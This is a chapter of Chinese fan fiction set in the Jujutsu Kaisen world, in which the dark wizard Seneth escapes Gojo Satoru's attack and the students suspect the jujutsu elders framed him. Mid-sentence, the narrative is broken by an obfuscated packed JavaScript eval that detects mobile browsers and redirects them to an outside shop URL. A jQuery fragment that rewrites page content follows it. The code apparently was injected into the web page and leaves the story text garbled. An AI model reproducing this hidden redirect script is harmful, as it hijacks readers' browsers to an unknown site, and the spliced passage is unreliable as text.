14.白毛大猫
作品:《在咒术界当异端拐走白毛蓝眼猫》 塞涅斯翠绿的双眸下移,落在了近在咫尺的那张精致面孔上。
这是他第一次仔细打量一个人的面容。
就容貌而言绝对是他见过的人类中最好看的一个,五官精致得像是用画笔一笔一画描摹出来的,有着一头罕见的蓬松的白色短发,但似乎也是呼应了主人桀骜不驯的性格,发尾倔强地往四面八方翘起。
但最引人瞩目的还是那双世所罕见的苍蓝色双眸,像是容纳了整个天空的苍天之瞳被与发色相同的雪白羽睫包围着。
这双眼睛看上去纯然透彻,但在纯粹的苍蓝中飘散着的丝丝缕缕的白雾半遮半掩了背后的锐利危险。
只有对视良久才能看清在状似毫无距离感的亲密掩藏下的神性冷漠,在这双苍天之瞳的注视下,内心深处再隐蔽的污秽都会被翻出来,赤裸裸地暴露在烈日下。
这就是六眼,五条家期盼几百年等来的六眼,一出生就被家族举全族之力供奉的神子五条悟。
脑海中的万千思绪转瞬即逝,塞涅斯抬手摁上肩上有些躁动的渡鸦,沉吟片刻问道:“阁下待如何?”
五条悟却像是嫌弃般将上半身拉远,精致俊美的五官皱在一起:
“你怎么说话跟老头子一样?”他双手在半空中比划了一下:“就是那种,风干的橘子皮一样脸皱皱巴巴的老头子。”
塞涅斯初来乍到时最先解决的问题就是语言,这个世界的语言体系相当复杂,他便从他所在的这个国家开始学起。
因为他在学习霓虹语的时候几乎都是借助书本自学,所以在日常沟通时总显得有些刻板。但既是因为习惯了,也不会影响日常的交流,他便没有刻意去改变。
塞涅斯顶着一张并不皱巴巴的脸静静地看着那位活泼得有些过头的焦糖面包味少年咒术师,虽然面容冷峻,但目光还算温和。
见没有得到预想中的反应,五条悟无趣地撇了一下嘴。
夏油杰却是愈发难受,整个人显得有些坐立不安。
眼前的黑巫师是高层点名的重点通缉对象,可看样子现在五条悟完全没有把那通缉令放在眼里的意思,只觉得一时之间他不知道自己该采取什么样的态度去面对。
五条悟凑到塞涅斯的眼前去,眼底闪烁着狡黠的光芒,说:“其实我一直很好奇,刚才那两支箭上的咒力不是你的吧,难道是咒具?”
他像只好奇的大白猫一样开始围着黑巫师打转:“而且你身上一点咒力都没有,是怎么祓除咒灵的?像刚才那样用咒具吗?可是没有咒力你是怎么看到咒灵的?喂喂,告诉我吧。”
一个接一个的问题抛出来,叽叽喳喳的声音萦绕在耳边,但因为主人容貌不俗加诸有一把好嗓子,倒显得这纠缠反而有些像猫咪般的可爱黏人了。
塞涅斯的目光再次落到五条悟身上,话还没说出口就被打断:“哦哦,你肯定想问我是怎么知道的对吧。你应该认识我的才对,我想咒术界就没有人会不认识我!”
少年完全不知道谦虚二字怎么写。
要说塞涅斯是否认识五条悟,答案自然是肯定的。
或者说只要是有关咒术界的人,就没有不认识五条悟的。
五条家盼星星盼月亮,盼了几百年终于等来的六眼,自出生起就被挂上了暗网悬赏榜首的存在,据说更是凭一己之力拔高了整个诅咒的上限。
这样的人物早在塞涅斯刚刚成为诅咒师一员的时候就被中介先生重点标注过,是被中介先生语重心长地提醒不到万不得已绝对不要对上的人物。
但是与冷冰冰的文字对比,眼前这大活人显然要鲜明得多。
“我的六眼告诉我,你身上肯定还有小秘密。”五条悟笑着,嗓音清润中带着少年人变声期的喑哑,语调透着毫不生涩的亲昵,但双眼中却流露出锐利的光芒。
塞涅斯的目光不偏不倚与他对视,低声开口道:“少年,这世上所有人都是有秘密的,而旁人对此最好的做法就是保持缄默。”
五条悟嘴角扯出一个大大的弧度,笑得嚣张:“正论吗?老子最讨厌的就是正论!”
“术式顺转·苍——”
话音刚落,毫无预告,他抬手就是一发“苍”。
庞大的吸引之力驯服地在他指尖凝结成一点,带着不亚于黑洞的破坏力朝塞涅斯轰过去。
霎时间,雷鸣般的巨响伴随着建筑的坍塌声响彻云霄,尘烟四起,可待到灰尘散去攻击的中心却不见人影。
夏油杰咳嗽着挥去余尘,撤下护卫在周身的咒灵,却见轰塌了半边天台的中心仅剩五条悟一人。他连忙跑过去问道:“悟,人呢?”
五条悟不爽地“啧”了一声说道:“让那个古板大叔跑了。”
夏油杰无语这称呼之余还有些心惊胆战,能正面抗下苍的攻击还有余力掩盖踪迹,他没见过这么强的诅咒师,黑巫师的实力恐怕比高层们想象中的更加深不可测。
“既然如此,咱们尽快联系辅助监督汇报给高层吧。”说完夏油杰就发信息通知辅助监督前来处理后续,顺便把还晕在一边的人质送到医院治疗。
五条悟却脸色古怪地看了夏油杰一眼,说:“老爷爷们听到这消息今天晚上可要睡不着觉了。”
夏油杰对五条悟的言下之意一无所知,将编辑好的短信发出去后才抬首环顾四周道:“是啊,出现了一个实力这么强大的诅咒师,指不定哪里又会闹出人命。”
他心里暗暗后悔,刚才就不应该犹豫,要是他的咒灵操术配上悟的苍,说不定能将那诅咒师留下。
谁知五条悟却是嗤笑一声:“是不是诅咒师还不一定呢。”
夏油杰不是蠢人,察觉五条悟的言下之意,他陡然转头看去:“可当时高层也是派人前去勘察过现场的……”
要说黑巫师为什么会被咒术界打为诅咒师,不就是因为查出京都郊外发生的命案是他所为。
咒术界有明文规定,对普通人使用术式致其伤亡的咒术师一律视为诅咒师。
五条悟却说:“要确定是不是黑巫师做的,还不是要看现场的咒力残秽是否吻合,但是一个一点咒力都没有的家伙哪来的咒力残秽。”
这句话令夏油杰醍醐灌顶,他回身看了看黑巫师出现时射出的两支箭的位置。在截断咒灵两只节肢后,那两支箭便逸散成光点消失在空气中,仅在水泥面上留下两个孔洞。
但确实是一丝咒力残秽也无。
夏油杰倒吸一口冷气:“那,那这不是……”
五条悟确定事情已经了结了,后续会由辅助监督接手,便戴上墨镜,伸了个懒腰准备收工走人。
在踩上楼梯的时候,他停住脚步,微微回首,露出墨镜后掩藏的苍天之瞳:
“那些老家伙不就是这样的吗?只要遇上忤逆他们的人,栽赃陷害赶尽杀绝,这不就是他们会做出来的事情?”
“悟……”夏油杰嘴唇嗫喏,下意识地让五条悟注意言辞,但又找不出合理的措辞反驳。
五条悟轻哼一声,慢悠悠地顺着台阶而下,一边说道:
“不过老家伙们这次可是踢到铁板了,黑巫师跟以前的那些术师可不一样,要是把他惹毛了……哎呀呀,是不是要去提醒一下老爷爷们赶紧准备好一块山清水秀的墓地呢,要是到时候供不应求了可怎么办呢~”
话语的尾音消散在空气中,五条悟高挑的背影已消失在视线中,只留夏油杰一人仍在原地头脑风暴。
对于五条悟所说的话,夏油杰不得不承认,就今晚这一面而言黑巫师所展现出来的面貌,那种深不可测的锋利眼神,可不像是会对高层的所作所为忍气吞声的样子。
他只能心底叹息一声,期望那些高层有点自知之明,别太过分,平白激怒一个实力深不可测的术师。
从夏油杰口中得知此次任务中撞上了黑巫师偏偏还被对方跑了之后,辅助监督只觉得眼前一黑。
自从通缉令挂上咒术师们的任务清单以来,即
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250329|197636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
使他们时不时能碰上对方并上报总监会,但要说真正能将黑巫师扣下的,当属五条家的六眼最有希望。
没想到撞是撞上了,可偏偏还是让黑巫师跑了。辅助监督忍不住在心里犯嘀咕怕不是五条家的这位大少爷对总监会的有什么不满,在敷衍了事吧。
这边先不提总监会的高层们得知这个消息之后如何跳脚,塞涅斯在“苍”朝着自己轰过来的一瞬间就启动了传送阵。
虽然有些措手不及,但好在最后身上巫师袍上的防御法阵抵消了苍的余波。
从传送阵中出来的时候,塞涅斯置身于一个空无一人的暗巷,看着断了一截的衣袖露出底下未被手套包裹的森森白骨,眼底波澜乍现。
“这可真是…太大意了。”
长久的安逸生活让他的警惕心不可避免遭受了磨损,殊不知这可不是他生活了几百年的索罗尔大陆,而是一个全新的世界。
他在这里生活的时间连一个整年都不到,就已然如此傲慢了吗?
自认为这个世界的术师与诅咒不足挂齿,却忽略了什么叫人外有人。
塞涅斯脱去破损的手套扔掉,露出一双泛着冷光的骨爪,森白的指尖抚上被撕毁大半的袖口,他脸上波澜不惊的表情隐隐被打破,露出些许苦恼。
安格在接受传送后不知跑哪去玩耍,于是塞涅斯就一边给自己身上套了个隐匿魔法往住所慢悠悠走去,一边思索今晚遇见的那两名术师。
黑发的那位接触不多,只觉得那人术式很有点意思,他能看见那人身上延伸出丝丝缕缕的细线落在天台上另外两只咒灵身上,想来就是咒术界炙手可热的平民咒术师,千年难得一遇的咒灵操使夏油杰。
反而是白发的那位令他印象更为深刻些,那位身上一直飘着甜味的少年与从前遇见过的御三家的咒术师全然不同,他似乎全然没有霓虹人惯有的疏离与谦逊。
说话时不用敬语和谦词,偏偏语气总是很亲昵的样子让人生不起气来。行为举止也是,总是毫无距离感地打破安全距离。
塞涅斯从没有遇见这样的人,处处矛盾又处处合理,细细回想还能觉察些许有趣。
但最令他在意的还是那个少年身上飘散出来的气味,明明闻起来轻柔温暖,却能极其强势地驱散周围的腥臭,像是其主人一样的霸道性子。
这个世界里不同的事物在塞涅斯的感知中会散发出不同的气息,咒灵是恶臭的,普通人在抱有不同情绪时的气息不同,时而清新、时而苦涩、时而辛辣。
但唯有咒术师是没有丝毫气味的。
可现在偏偏出了个例外,那位五条家的大少爷,从体内散发出一股像是刚烤好的面包一般蓬松温暖的香甜气味,在少年情绪波动稍大时,香味变得浓郁起来,就好像在面包上浇下熬好的焦糖或蜂蜜。
塞涅斯指尖微动,显得有些踌躇。
总体而言,今晚依旧算是一个平常的夜晚,塞涅斯花了几分钟稍微回忆了一下那位有点意思的甜品少年,剩下的时间都在构思该怎样修补好身上已经破损的巫师袍。
虽然他及时躲开了那道恐怖攻击力量的中心地带,但还是被攻击的余波殃及,仅仅是余波就足以破坏他身上巫师袍上镌刻的防御法阵。
巫师袍对于巫师而言是一件必不可少的随身法器,集清洁、防御、美观于一体,是巫师居家出行必备好物。
然而巫师袍的制作也相当繁琐,光是布料就极为难得,更别说是上面看似装饰实则是环环嵌套的法阵花纹。一旦巫师袍破损一处,那么整件衣服就失去了效用。
换做今晚之前,他还能在咒术界的围剿之下慢悠悠地晃荡在咒灵出现的地方,收集不同等级咒灵的咒力。
不过,要集齐修补巫师袍的材料,少不了要满世界跑……
算了,还是把衣服补上更重要些。正好当下国内咒术界对他穷追不舍,干脆先离开霓虹一段时间,省得那些咒术师们在对他喊打喊杀,徒惹人心烦。

